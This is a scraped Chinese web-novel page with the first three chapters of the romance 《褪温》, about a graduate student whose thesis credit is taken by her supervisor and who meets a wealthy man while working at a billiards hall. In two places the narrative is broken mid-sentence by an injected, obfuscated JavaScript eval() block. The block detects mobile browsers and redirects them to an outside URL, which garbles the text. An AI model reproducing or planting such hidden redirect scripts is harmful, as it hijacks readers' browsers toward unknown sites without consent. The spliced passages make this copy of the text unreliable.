《褪温》 1. 第 1 章(含作话) 艳阳高挂,烤得地面都在发烫,虽是立秋,炎热丝毫不输酷暑。 京大校园内正值中午下课,三三两两抱团走的学生潮水般涌出来。 忽的,学校大门迎面而来一阵紧促的警笛声,车型颀长的消防车后跟着一辆120,一前一后闪着警报长驱直入。 一路经过主干道,响声震天,惊得路上的学生纷纷闪避。 明德楼有人自/杀。 苏棠才走出教室,就从拥挤的人潮里勉强听出三言两语。 看了看手机里导师姜唯山发来的消息,她心事重重,无意凑热闹,但一旁的米朵却热情高涨,拉着她几乎脱不开身,死活要一起去瞧瞧。 “哎,你交上去的论文过审没有?不枉你苦心孤诣跟了两年,那片子昨天在校园宣传网放出来,现在论坛都炸了,拍得真好!好几年没有这样优秀的作品了,估计院里还会送去评奖,光看片子都这么优秀,别说论文了,一篇sci,妥妥的!” 米朵腋下夹着本书,一脸兴奋。 “功成名就别忘了姐妹儿我,不要二作了,带我个三作沾沾光也行~” 苏棠面上笑着,心里却有些泛苦,尽力不在她面前露出异样。 “还没。” 她把微信聊天界面递到米朵面前。 “这不,老姜又在召唤我了,估计又是去挨骂,都改了好几遍,他还是不满意。” 米朵笑,“要成了,好事多磨嘛。” 苏棠收了笑,低头不语,两人不紧不慢的往人群靠。 上了半天课,精神涣散的各路学生此刻却像打了鸡血般振奋,也不向校外和食堂去,在明德楼下围成一片,每个人脸上洋溢着有热闹看的兴奋,叽叽喳喳吵作一团。 两人姗姗来迟,只得站在最外缘。 “往后退!往后退!!” 救援人员呵斥的同时手里已经拉起一大圈警戒线,橙色的防摔救生气垫床还未成形,焉焉的摊在地面,安全员一脸严肃,把想往里靠的人群推了又推,神情满是不耐烦。 周围人群嘈杂不已。 法律系.... 研三..... 延毕多次.... 诸多字眼断断续续的传进苏棠耳朵,让她的心沉了又沉。 她和米朵并肩站了一阵,天台楼上的男子和救生员拉拉扯扯,最后还是纵身一跃,半个身子挂在外墙边缘。 防摔气垫已经成型,高高的在地面鼓起,随时准备托举从高处落下的人。 苏棠挣开了米朵紧抓着她的手。 “你先看,我要去趟行政楼,晚了又要被姜唯山说。” 米朵大度的表示理解。 “我也要走,下午没课,接了兼职,吃了饭要赶过去。” 两人原地分道扬镳。 全国顶尖学府,京北大学治学严苛是出了名的,大把大把优秀学生挤破脑袋的进来,最后也抠破脑袋的想出去,严进严出是它的传统。 此外也有一个在学术界习以为常、圈外却少有人知的规则,那就是导师对其所属学生心狠手辣的压榨。 学生是弱势方,考虑到要毕业,再多的苦也只能赔笑脸,打碎牙和血吞,顺利、能够成功从这里脱身出去,顶着学校的名号,是找工作的一把金砖,甚至是一块通关令牌,无所不利。 不顺利....就是无期限的延毕。 苏棠心事重重,只顾埋头走,到了电梯口就撞了人。 没有失态后的拘束和窘迫,一声‘对不起’规规矩矩有礼有节,嗓音柔和动人。 沈逸清心头一颤。 对方没有抬头看他,赔礼后继续低着头,游魂似的进了电梯,两人错肩而过。 站定身回头,女人正巧转过来正对他,看清模样后他浑身陡然一震,愣在原地。 一张脸没有化妆,糯米团子似的干净,在电梯的白灯下素得亮眼,宽松休闲裤,白色的雪纺衬衫扎进腰身,不盈一握。 扎着最简单的马尾,干净利落,纯得要死。 沈逸清盯着她瞧,女人丢魂失魄,薄唇紧咬,拧着一股劲儿不知道为什么事烦心,进了电梯仍在走神,视线低垂在地面,愁容满面,忘了按楼层号,呆呆的立着。 鬼使神差,他又回到电梯。 “你还没按楼层。” 突兀的男声响起,苏棠陡然回神。 尴尬一秒,白皙的脸突然浮了层红晕,很快蔓延到耳根。 “不好意思。” 慌慌乱乱的声音,莫名其妙的道歉。 真有点意思,沈逸清不着痕迹的勾唇。 大学生素质未免太高,她又没做错什么,自己只是带点逗人的心思,好心提醒。 他不发一言,只是饶有兴趣的暗自看人。 纤细的手指在他身前晃过,薄纱衬衫包裹的小臂带来阵幽浮的香气,淡淡的,像茉莉,还没用心品,风似的散了,让人意犹未尽。 按了楼层后重新收回,纤薄的身板站得周正。 始终没看他,只沉浸在自己的世界。 .... 沈逸清重新回到车里的时候,陆屿一脸兴奋的看他,语气里有他错过热闹的惋惜。 “哎!你要早点回来,就能瞧见!” 沈逸清落了座拉过安全带,抬眼看他时脸色一如往常的镇定。 “瞧什么?” “一个美女~” 陆屿说话向来这样,直白又轻浮,他眼光出名的高,既然他说美女,那对方长相一定十分出众。 他冲沈逸清挤眉弄眼。 “但重点不是美,走过去的时候我还以为谢流筝回国了!吓我一跳,那身段、那姿色!七八成像,我差点看走眼!” 他砸吧着嘴,看样子似乎还在回味。 “卡其色的裤子,白衬衫,扎个高马尾。” 沈逸清平平淡淡甩出几个形容词,陆屿的神色转为惊讶。 “你也碰见了?” 沈逸清不置可否,神色波澜不惊。 “一栋楼,只有一条道,一个电梯,碰见不奇怪。” 他岔开话题转口问他“你妈让你送个文件,到了楼下又不进去,非让我跑腿,你就那么怵她?” 陆屿一听这话就扁扁嘴。 “她肯定是找个理由让我送上门来方便她逮,这段时间疯了一样天天给我安排相亲”他动作夸张比了个手势,“那家里堆的照片能有一尺厚,死活让我挑几个见面,实在撑不住了,借口躲几天,她什么心思,我知道。” 沈逸清笑,回想起校长室里陆水抬头时失望的神情,看见他后脸臭了又臭,简直不能看,末了还不忘打听陆屿的行踪。 他打笑应付过去,自然没出卖兄弟。 开口时却下意识的维护对方。 “姑姑她能有什么心思,还不是为你好。” 陆屿情绪激动,偏头看他。 “明天我回趟家,把那堆照片搬来,我两兄弟齐活了,省得你妈费心去找,不过.....” 后面的他犹豫着没说出口。 沈逸清忽略他揶揄的口气,气定神闲的笑笑。 “那不用,我跟你.....可不同。” 陆屿听罢不说话,看向他的眼神意味不明,最终焉了气势不再接话。 好歹叫声哥,沈逸清这人他清楚,你别和他争,他也懒得跟你争,就算你嘴巴赢了他,但在其他地方你也一定会输。 心思深不见底,老狐狸一个。 他们这圈子吧,也挺小,小到什么程度呢,交心的人摊开手心,可能十个数都没有,但却实打实的铁,多数一个大院里长大的,知根知底,家世又个顶个的好,再往上走,就没有什么值得他们需要垫着脚去够的圈子,都是别人费心要挤进来。 沈逸清算是他们这群人里最特别的,一群人坐着,有权的没他家有钱,有钱的又没他家有权,何事都自觉让他三分。 作为沈、陆两个家族的掌权人,他的婚事陆屿自然清楚,多半是联姻。 这人万事都好,对亲近的人也随和,但怪就怪在性格,从小养在姥爷陆振霆跟前连性格也随了他,总是寡言少语,冷眉冷眼冷面孔,虽天生一副好面孔,却看得女人轻易不敢接近,随便去哪里,打那一坐,高不可攀,一般人不敢近身,只能远远看着。 一般的风月场所陆屿都不大爱带他,心里也知道他玩得特别,一般的场合他也不爱去。 互相理解,互相包容。 但今天他帮了他忙,陆屿玩笑似的开口。 “今晚没别的安排就老地方见,来了瓶好酒,开了谢你。” 沈逸清扫了他一眼,淡淡的模样,没拒绝也没同意。 * 远远的,门大敞开着,像是特意等她。 苏棠刚到办公室门口,鲍柔一副刚和姜唯山谈完的样子,满面春风的出来。 两人迎面撞上,立即收了笑,看了她一眼,没说话,趾高气昂径直走了,似乎对她不屑一顾。 苏棠站在门口探头往办公室里面瞧。 姜唯山才喝罢茶水,手里端着个白瓷杯,嘴里含着茶叶,偏头看她一眼,不说话,只招手示意她进去。 电脑界面是她那篇半月前交上来,根据纪录片撰稿后改了又改、几经易稿的论文。 看鲍柔刚才离开的样子,想也不想,两人在她来之前肯定推心置腹又聊了一阵,都彼此得到了想要的结果,抑或两人已经达成了某种程度上的合作。 苏棠心里乱做一团,双唇紧抿站在桌前,视线紧盯着电脑界面。 “是稿子还需要改吗?” 姜唯山露出他那很久不见的慈祥笑容,像个关切自己儿女的老父亲,但想到手机里的信息,苏棠以往觉得慈祥的笑容,此刻却变得狰狞又恶心。 “稿子没什么问题。”姜唯山偏头轻“呸”一口,吐出嘴里的茶叶又回过头来,“我早上发你的消息没看见?怎么不回我?” 好文章人人都想要一作, 但一作只有一个。 她怎么回? 苏棠很想破口而出质问,想到研三的毕设还捏在他手里,又突然不敢硬气了。 “我上午满课,还没来得及看。” “现在说也不迟”姜唯山紧盯着她,那眼神令她有几分不自在,像是被人死掐住命门,不能呼吸。 “这篇论文署名的事,我定下来了,我一作,鲍柔二作,你三作,你觉得怎么样?” 虽然知道有导师抢一作这种传统,但当真实情况落到自己头上,苏棠还是有点没法接受。 这项目甚至没有什么助研费,连拍片的相机都是她自己花钱租的,姜唯山指定鲍柔和她一个组,但是对方每天神龙见首不见尾,无论是从课题idea的构思,还是实际拍摄的两年,两人都没有作出什么贡献,现在却一句‘你觉得怎么样’,就轻飘飘的要把一作二作拿走。 苏棠心里有气,脸色也不再柔和。 “我觉得不怎样。” 椅子里的姜唯山闻言一愣,像是想不到她会这样回答。 他立即收了笑,语重心长的开口。 “我知道,你铆足了劲儿,在这个纪录片上耗了两年,我看着呢!我都知道!你想靠这个去申博我懂,可事情总有个轻重缓急,院里导师评职称的事快下来了,我还缺一篇文章,我看你这个就挺不错。” 他拍拍苏棠的肩膀。 “导师的前途不就是学生的前途吗,你放心,我不白拿,研三你毕业,我让下面几个师妹师弟让你几篇二作,大家都是这样互帮互助的,申博的事你也别担心,我给你写推荐信,保准没有什么问题,再说了,这论文一作不写你的名字,难道就不是你写的了,一样是你写的嘛!名字没有那么重要,脑子里那点东西才是最重要的!” 他这话听起来没什么大毛病,但明里暗里威胁意味不小,苏棠一口气忍了又忍,还是挣扎着咽不下。 “那通讯呢,通讯作者写谁?” 姜唯山一愣,理所当然:“自然也是我。” 两眼一黑,苏棠差点站不稳。 她不说话,过了好一会儿才找回自己的声音。 “共同一作不行吗?” 姜唯山面露难色,“你知道,我们学校评职称严格,‘共一’代表作品纯度不够,有风险。” “我知道你这个课题跟得辛苦,你安心休息段时间,准备毕设的事,等我职称下来,申请一笔助研费和基金,拨一些给你。” 他话头话尾滴水不漏说得圆满,却还是画饼式指导,偏偏这套打一巴掌给颗糖的方式,苏棠无法拒绝。 她咬咬唇狠下心。 “既然如此,您一作和通讯我没什么话说,但是鲍柔为什么要抢我的二作。” * 苏棠失魂落魄的从行政楼出来,明德楼前已经空了。 要不是防摔气垫早收了,她也想爬上去跳一跳。 念头一出来,苏棠突觉这想法有些疯狂。 校门口的大马路堵成一片,不知是哪位领导临时视察,附近区域实行交通管制。 事出突然,不知情的各路私家车仍然往这边赶,临了又上不了主干道,只得纷纷掉头,乱作一团。 才离开不久的消防车和救护车也被堵在其中,警报呜啦呜啦催命一样响个不停仍然杀不出重围。 救护车上还拉着跳楼的学生,急得那司机和医生不停探头探脑的观望路况,好不容易熬到了头,眼前的交警却比了一个掉头的手势,司机心急的解释一通对方依旧公事公办的态度,毫不动摇。 司机苦着一张脸作罢,正打算转方向盘,并肩的一辆军色越野却忽的一下从侧边杀出来,一个油门冲到他前头。 驾驶室的男人探头与交警交流片刻,招手让身后的救护车跟上来。 几秒后交通障碍移开,两车一前一后的离开。 苏棠走在路侧,总觉得如芒在背,回头的时候迎面过来一辆军绿色吉普。 京A00777。 突兀的数字十分醒目。 车窗大开,副驾驶的人不认识,斜着眼,吊儿郎当,目光正紧锁在她身上,大胆又放肆。 她眼神再一瞥,立马和更里面的男人撞上。 气场比副驾驶的男人霸道多了。 墨如点漆的眸子,似一双兽类的眼。 锁住她,压迫又侵略。 .... 莫名其妙的车和莫名其妙的人。 一闪而过,苏棠没放心上。 提着打包馄饨回到寝室,米朵居然还没走,坐在书柜前龇牙咧嘴的化妆,才带好一副假睫毛,两把小扇子似的一闪一闪的看她,眼神里泛着狡黠的光。 “需要你帮我个忙。” 苏棠还没来得及坐下,把 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13747752|145355||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 馄饨放在桌上就走过去,习惯性的拿起桌上那个小镜子支在她身前。 米朵轻笑,一把夺回来。 “不是这个。”她面色犯难,“我记错时间,接的兼职撞了,你要帮我个忙。” 米朵长得好,身材也高挑,接的兼职大多都有严苛的外貌要求。 有钱拿,苏棠心里乐意帮,但又怕自己条件不够。 “我行吗?” 这口气,米朵一听就知道她在担忧什么。 “可以!我给负责人说过了,你也熟悉,就是你常去找我的那个台球馆,他们经理见过你,说没问题。” “可是我不怎么会打台球,到那儿要陪人打球吧,我行吗?” 米朵口红涂完,站起来拍拍她肩膀。 “就我教你那几招三脚猫功夫足够用了,你真以为那些男人来那儿纯奔着打球啊。” 说完她又觉得这话有些不对味,看了两眼苏棠不放心的仔细交代。 “你也别太担心,碰到别人搭讪,你反感的话保持客套就行,老板挺有背景的,不会有人敢胡来,你就摆你的球。” 末了又添一句。 “哦!还有,别乱加联系方式,别轻易答应跟人出去吃夜宵。” 这种场合常常有些暗话,她生怕这懵懂的小妮子一不注意就误会着道了。 米朵拉过椅背上的包准备离开。 苏棠听了地方后心里有所放松,那地方她确实去过,和一般的台球馆有些不同。 门口的人只剩个背影,她急得喊了一嗓子。 “你还没给我说时间!” 对方已经踩着高跟鞋飞奔出门了,声音在寝室外面的走廊回荡。 “来不及了!微信上给你细说!” * 沈逸清推门而入就是一愣,陆屿和陈牧寒在对打,只剩个齐颂恩坐在皮质沙发上玩手机。 他面露惊喜。 “什么时候回来的?” 对方笑。 “今早。” 沈逸清走过去把西装外套挂衣架上。 “我说你老子也不知道怎么想的,就这么一个儿子,别人宝贝还来不及,他倒好,突然把你往维和部队一塞,派去瓦乌一走就是两年,咱们这群人,还就你爹最狠。” “不过说真的,当初为什么去得这么突然?” 球桌那头嘭!得一声脆响,陆屿刚好进了一杆球,转过身来打断沈逸清的话。 “你下午也没表个态,这么晚我还以为你不来了。” 沈逸清苦笑。 “董事会那群老东西,一把年纪脑子也僵化,什么提案都给我否了,难缠的很。” 难得看他吃瘪,陆屿满脸堆笑。 “说到底还是姨父不肯彻底放权,给个总经理的头衔有个屁用,上面一大把人压着,打个拳头也得给你包住推回来,憋屈!我看你要不干脆辞职,自己单干,搞点动静给他瞧瞧,德国那公司,你不也自己做得好好的。” 陈牧寒也拿他打趣。 “我看可以,到时候记得给我说一声,行里这边提前给你准备,要多少我都给你批下来,利息也按最低的点子算,反正资金不用愁。” 调侃归调侃,沈逸清知道他们说的都是玩笑,并不接话。 他们这群人就算不上进,靠着家里的祖业也几辈子吃不完,就算单干,靠着家里的资源也可以顺顺利利的拿项目,只要自己愿意,大多人二十多岁的时候就能混的功成名就,达到别人一辈子也达不到的高度。 可偏偏大家都不是不学无术的纨绔子弟。 企业家的儿子依旧是企业家,银行家的儿子仍旧是银行家,高层的长辈不严苛,却都是无为而治那一套,潜移默化中没有哪一个下辈脱离他们早就安排好的路。 沈逸清看向齐颂恩。 “时越怎么没跟你一起来?” 陆屿听见这话收了杆看他。 “别提了,那小子最近鬼迷心窍,成天跟在一个女明星屁股后面追,啥身段也不要了,偏偏人家还不拿正眼瞧他,你说可笑不可笑,他妈的,好歹也是在京北有头有脸的人物,追个女人费这大劲儿,简直跌份儿!” 话刚落地,‘哗啦’一声,屋外传来玻璃碎裂的巨响。 陆屿愣了下,察觉不对,黑着脸往门外走,前台正慌慌张张的跑到二楼来。 “陆总!楼下打黑球那桌起冲突动起手来了!” 陆屿站到二楼露台往下看,场内正乱作一团,有人脸上已经挂彩,满是血污,角落里甚至有人准备亮刀子。 他脸瞬间一垮,手臂伸出栏杆外,掌心握着的那颗黑8球猛地砸下去。 ‘咚’!的一声巨响。 一楼所有人闻声愣住,全部呆了,齐刷刷抬头。 他们不知道今晚陆屿会在。 二楼露台的人黑着一张脸,明显不悦。 “整个京北敢容纳你们打黑球的地方不多,我为各位提供场子,各位如果觉得招待不周可以另换地方,不至于砸我陆某的台吧。” 这话还算客气,但底下的人丝毫不认为他这是好说话。 陆大少行事狠辣,圈里是出过名的。 动手双方的领头人不讲缘由,抬头对着他只顾着连声道歉。 “要动手换个地方。” 陆屿冷眼看着他们,抬手指使前台过去。 “算一算砸坏的东西,十倍赔偿。” 沈逸清走出来和他并肩站着。 闹剧已经散场,角落里一抹白色的身影紧贴着墙,忙着应付前来搭讪的男人。 显然不够游刃有余。 不知对方说了什么话,让她一脸为难,杏眼里满是惶恐和不安,一双手在胸前胡乱摇,拒绝的动作慌乱又局促。 像只被人逼急了的小白兔,不想别人继续为难自己,却又不敢下定决心反咬对方,孤独又无助。 苏棠谨遵米朵的训诫:不乱加联系方式,不答应任何人外出的要求。 奈何面前的男人步步紧逼。 “朵朵助教来这里多久了,昨天怎么没见你?” 苏棠敷衍,“今天才来。” 胸牌是米朵的,工作服也是,一起从她上了锁的储物柜里拿出来,上衣还行,短裙的腰围有些大,卡子又不知道何时掉了,裙身老是往下掉,时不时就必须伸手提一下。 男人不依不饶。 “朵朵还是学生吗?” “嗯。” “哪个大学啊?” “京大。” 顶尖学府的女人来给他打球做陪侍,男人闻言更兴奋了。 “学校挺好的呀!” “加个微信,留个联系方式明天找你订台。” “你多久下班,我等你,待会儿一起去宵夜怎么样?” 苏棠挨着回答。 “不了不了,我还要忙一阵呢。” 老实本分的拒绝,一点多余花哨的托词也没有,跟她本人一样榆木脑袋,不懂转圜。 男人动作轻浮拉她手里的台球杆,说话的同时一步步靠得更近。 “害,加一个呗!哥等你,待会儿一起宵夜,我请客。” 这话油腻,苏棠要作呕。 跌跌撞撞退后一大步,脚后跟撞在楼梯上,身子猛地趔趄,心里一抖,却没摔实。 后腰处突然多了双温热的大掌,稳稳把她托住。 2. 第 2 章 沈逸清一路悠哉悠哉走下来,将两人的谈话听了个干净。 是个傻姑娘,别人问什么就答什么,老实巴交没有一点儿隐瞒,一看就知道是个不谙世事、懵懂好骗的女大学生,在这种娱乐场所迟早栽跟头。 “谢谢。” 苏棠回头,白皙的脸因为他扶腰的动作有些羞涩的微红。 对方不苟言笑的站在末级台阶上,她站稳后腰间的温度就立刻没了,疏离礼貌。 收回的手随意插进裤兜里,男人眼神直勾勾定在她身上。 “楼上陆总叫你去一趟。” 苏棠疑惑的‘啊’了一声,茫然的看他。 湿漉漉、白鹿一般的清亮眸子,又呆又傻缺根筋,偏偏把沈逸清看得一愣。 他盯着她耐心又重复一遍。 “陆总有事找你。” 苏棠怔了一下,后知后觉会意,应了声好立即转身上楼,只剩沈逸清和那搭讪的男人。 两人视线对上,沈逸清没什么表情,只定定瞧着他。 沉默的气氛诡异的压迫,他什么话也没说,浑身冷得吓人,对方不说二话立即偏过头去,狗似的夹着尾巴走了。 那逼视的眼神满是上位者的不屑和警告,他立刻知道,这女人自己以后都沾染不得。 苏棠一进二楼的门就呆住。 上面跟下面简直是两个天地,楼上面积一样宽阔,却只有一张台球桌,明眼一看,就知道这是几人的秘密基地,外人轻易不准踏入。 毫无疑问,她一定是那个外人。 她站在门口,看着背对着她交谈的几人,没有勇气进去,生怕自己打扰了他们聊天的兴致。 她原地深呼吸,做了几秒心理建设才敢敲门,心脏一阵狂跳。 “你好,陆总,有人说你有事叫我?” 她第一天来,何德何能啊,能让陆屿记住并点名叫她,虽然知道这是男人给自己解围的托词,可那搭讪的男人守在下面,她只能硬着头皮豁出老脸开口。 刹那间,屋内谈笑风生的几人立即噤声,齐刷刷的回头。 苏棠心脏骤停,一颗心紧张得吊起来。 不知为何,总觉得三人看向她的眼神都很奇怪,不约而同的透露着一股惊诧。 是的,该惊讶。 苏棠这样自我安慰,她一个陌生人冒失的上来打扰,别人该惊讶..... 她咬着一口牙,等着陆屿骂她,过了十几秒,却没等来。 背后,沈逸清从楼梯走上来,陆屿瞧见他的身影大致就猜到怎么回事,愣了一秒对她说: “你去找前台,把今天到的那瓶酒拿上来,顺便拿四个杯子。” 这回轮到苏棠惊讶,愣了半晌才后知后觉的应了声好,转身的时候和刚才替她解围的男人擦肩而过,对方似乎并没有把她放在心上。 二楼,等她离开后,陆屿立即笑开了。 “你们看,像吧!我就说像!” 陈牧寒和齐颂恩默契的交换了个眼神,对他的话表示认可 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13747753|145355||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 看着沈逸清走进来,知道他不大爱提谢流筝,不敢轻易触霉头,立马岔开讲其他话题。 那瓶酒是特供的,数量很少,是今天齐颂恩回来他老子赏的。 苏棠小心翼翼的拿着酒瓶,白色的瓷身,没有名字,没有任何标注,她看不出来是什么酒,只是下意识的觉得很珍贵,连上楼的脚步都特意慢了又慢,生怕摔了碰了。 接下来的时间里,不知有意还是无意,她被二楼指使做事的频率变多了,甚至小到带一包纸巾这样可有可无的事。 味道好,大家不免多喝了些,沈逸清下楼透气的时候场内的人已经散了不少,保洁很用心,刚才打闹血污的地面又重新变干净。 客人走了很多,苏棠却必须守到12点才能下班,她独自拿了根球杆想练练手。 沈逸清从卫生间出来的时候,看见不远处的女人小心翼翼的往腰间提了提裙身,细细的腰不盈一握,在视线里慢慢塌下去。 那裙子不止腰身不合适,连裙摆都短了些。 态度认真极了,下巴快贴着绿绒绒的台面,弓着的背紧紧绷起来,手里的球杆正在瞄准白球,煞有其事。 后腿根的裙边随着她弯腰的动作不规矩的翘起来,位置有些不合时宜。 室内灯光氤氲,沈逸清一言不发慢慢走近,默默站在身后盯着这道倩影。 第一次,杆滑了。 第二次,杆颤了。 第三次,沈逸清没忍住,走了过去..... 3. 第 3 章 男人一身得体的黑衬衫,姿态悠闲的倚在球桌边缘,看她的眼神里有取笑的嫌疑,却不令苏棠反感。 觉察到自己刚才颤杆的动作完全被他看去,瞬间有些羞耻和窘迫。 男人不离开,也不说话,就这样大大方方盯着她打球,苏棠倒不好意思再继续了。 脸颊发烫,收了球杆立在地上,有些紧张的看他。 他脸上的笑始终淡淡的,似有似无,开口时也很温柔。 “想玩吗?” 从他为自己解围起,苏棠就总觉得这声音有些熟悉,来不及细想,听了这话立马点点头。 “嗯、但是我不怎么会。” 沈逸清侧过身。 手边的台面上有离开的客人扔下的球杆,他随意抓了一根,拿起桌沿的巧克粉擦着杆头往她身边走,姿态优雅极了,像个绅士。 苏棠自觉让出主位。 “你身体趴在台面的时候要自然一些,别太僵,你看,保持握杆的小臂十分要放松自然垂直,手指、手臂、肘关节、肩关节都需要放松,这样才能发出正确的力道来。” 沈逸清弯下腰,手把手的给她做示范。 原本板正束在身前的领带垂在空中摇摇晃晃,纤长好看的五指按在台面,然后四指隆起,拇指紧贴食指形成一个稳固的V型支架。 动作一丝不苟,一看就是个老手。 男人杆头瞄准白色母球,啪!的一声脆响,三角形的球堆立即疯狂向桌面散开,一个红3在桌沿来回滚了几遍,稳稳落入苏棠身前的袋口,像撞在她心上。 男人站直身子,偏头看她,手里的球杆递过来,循循善诱的开口。 “看明白没?你试试。” 那声调不紧不慢,像是有用不完的耐心,天生一个当老师的好料子。 苏棠手心一紧,没去接。 “我有,就用这根吧。” 她走到白色母球的位置,心里却不免紧张。 学他的样子,手掌撑起支架,球杆在拇指上来回滑动。 两次出杆。 第一次,瞄空了,失重的上半身往台面趔趄了一下,小腹撞在桌沿上。 她咬咬唇,有些难堪,很快耐着性子又开始瞄第二次。 但手中的球杆老是失控,力道还是不对,颤杆打中的母球勉强走到半路,就丝毫不给她面子的停下来,明晃晃的对着她,像在嘲笑她的愚钝。 男人一动不动的立在旁边盯着她看,苏棠的脸刷一下潮红一片,蔓延到耳根,像个笨拙的学生辜负老师的期望。 他似乎有些无奈,短暂的低笑一声,随即慢慢向她靠近。 “没事,慢慢来,别紧张。” 身后的光一下被挡住,有暧昧的温度传来。 男人站到了她身后。 “再来,我教你。” 他说完就手拿把掐握住她的手,从背后围住她,男性香水独有的凛冽味道,像冷山,将苏棠包围,不断往鼻尖钻。 她心脏漏了一拍。 虽像拥抱的姿势,但男人的动作却保持着刻意的社交距离,礼貌绅士,并不轻浮。 “手要这样架起来,撑住杆,腰放松、压低。” 温热的气息打在耳边,苏棠有些紧张。 沈逸清感受到她的僵硬,笑了笑,垂眼看了下她的胸牌,出声安抚。 “别紧张,放轻松、朵——朵。” 苏棠被他压在桌上,跟着他的动作,身后,男人炙热的胸口贴着她的背。 “杆对准白球的中间,和你要打的球成一线。” 低沉的嗓音在耳边不断响起,她耳垂有些发烫。 “手放松。” 本来就是正正经经的教她,但两人的动作不免有些暧昧,苏棠大气也不敢出,默默感受着源源不断的热度从男人的掌心传出来,握杆的手有些出汗。 对方一脸认真,苏棠的心思却完全不在上面,亲密的触摸令她的大脑有片刻的混乱。 回过神来时男人已经松开手,礼貌的站到她身后,隔着正常的社交距离,正直勾勾的盯着她。 “会了吗?” “啊?” 沈逸清看着面前人神游天外的样子,心下了然,随即眯起眼睛打量起她来,像是有些不满。 “朵朵助教怎么没有认真听课呢?” 他顿了顿,重新贴上来。 “这可不行、” 他轻笑: “再教一遍,这次一定要专心听讲,不然.....”顿了一下,低沉的男性嗓音不紧不慢的传到耳边,“不认真的坏学生可是要受罚的。” 苏棠脸爆红,佁然一副做错事被老师抓包了的模样。 她一言不发,抿着唇转身。 “不用,我会了、我会的。” 女人有些慌乱,还有些不服输的倔强,沈逸清盯着人淡淡勾着唇,一言不发。 腰间的裙子在刚才弯腰的时候又下滑一截,苏棠不着痕迹的提了提。 正准备弯腰,对方说了声等等。 苏棠心虚,以为自己又有哪个动作不对,僵在原地偏过脸看他。 意外的是,男人并没有说她。 领带的温莎结被他柔和的按住,昂着脖子,单手熟练又灵活的解开,那动作行云流水,带着一丝优雅。 彻底取下后将那根挂在手心的领带朝苏棠递过来。 “系一系吧。” 细长的版型,十分考究的全针刺绣,通体印着复古暗纹的黑色领带,末端还有一处金线勾勒的怒放雏菊,不喧宾夺主却又存在感十足,好看极了。 打眼一瞧就价值不菲。 苏棠瞬间懂了他的意思,却不敢接。 “领带还能这么用?”她口气俏皮的婉拒,“不用,快下班了。” 沈逸清偏头看了一眼墙上那个古老的挂钟,又回过头来。 “还有一阵,你总不能一直这样提着。”他盯着她的腰,态度较真且说一声不二,“领带的用处有很多,当根腰带也没什么。” 这口吻正常随意,但不知怎的,苏棠总觉得这话有些意味深长,她捉摸不透,怪怪的。 握着领带的手始终停在半空中,丝毫没有收回的意思,僵持一阵,苏棠只得硬着头皮去接。 质感厚重,还带着他温热的体温。 苏棠当着男人的面,在他注视的目光下,把这领带一个个的穿过裙腰上的孔,拉动时,衣料幽微的摩擦感,令她没由来想起男人握杆的手,脸莫名有些热。 低头打结的时候她心尖都在颤,随着手下的动作,质感厚重的领带慢慢的起了褶皱,绞作一团。 连她自己都在心疼。 沈逸清耐心的等她系好,又耐心的慢慢教她打球,最后一个黑8进洞的时候楼梯上传来一阵讥诮的笑声。 “我说喝到中途就没影了,原来是——” 后面的话陆屿没说完,眼神直勾勾的盯着苏棠腰间的那根领带。 沈逸清侧头问他。 “准备散了?” “没。” 陆屿意味不明的看了一眼苏棠,挪开眼神。 “有些饿了,叫人点了外卖,问你吃不吃。” 陆屿出手一向阔绰,今天似乎心情也很好。 三人一起进门的时候,众人齐刷刷的回头。 宽长的餐桌上已经坐满了人,除了台球厅里七八个美女助教,还有陆屿那两个喝酒的朋友。 位置似乎没有什么讲究,都是乱坐,苏棠自觉地捡了个挨着同事的位置,刻意和沈逸清避嫌。 他看了她一眼,没在意,只慢慢的挪步去餐桌另外一头,走去陈牧寒身边。 桌上吃食很多,水果,烧烤,小龙虾,奶茶,卤味,还有一些小零食。 苏棠坐下,拿了小串玉米粒慢慢朝嘴边递。 兜里的手机从刚才起一直在震。 划开微信,秦诗一连串的消息接二连三蹦出来。 【啊!彩排好累,这个点儿了还没好,明天还要回剧组拍戏呢,又熬夜了,明天不会脸肿吧!会不会被导演骂。】 【啊啊啊!好困,什么时候才能走!】 【糖、你怎么不回我,在干嘛呢?】 【不会睡了吧。】 【我不信,给你发帅哥,把你炸出来!】 然后。 【裸图【裸图】【裸图】 ...... 苏棠连忙把手机又往怀里带了些距离,小心翼翼的躲着众人回她消息。 【刚才在忙。】 对方似乎一直等着她,立即回了消息过来。 【忙纪录片的事吗?还没拍完?】 暂时忘却的难过事又被提起,苏棠心情有些低落,却不想好友为她担心。 【没有,早拍完了,在外面和朋友吃饭呢。】 秦诗又随手拍了一张晚会彩排的照片过来。 【喜欢谁,我给你拍个正面的!】 照片有很多熟悉的面孔,都是热播剧里常见的明星,可惜苏棠从不追星,没什么兴趣。 秦诗不死心,又甩了一堆照片过来,挨个问她好不好看,苏棠看着一张接一张的照片有些无奈。 【哎,我说,这么多年也不见你交个男朋友,不说你爷奶,我都着急,你到底喜欢什么样的。】 这话苏棠也说不上来,握着手机半天回了句,【我也不知道。】 【总有偏好的长相吧,或者什么类型,大方向总有吧,运动型,绅士型,活泼的,还是内敛的,总有一点点私人的性癖好吧】 手机里又来一堆照片。 【这样的喜不喜欢,看起来就很有服务精神,很有活儿的样子~】 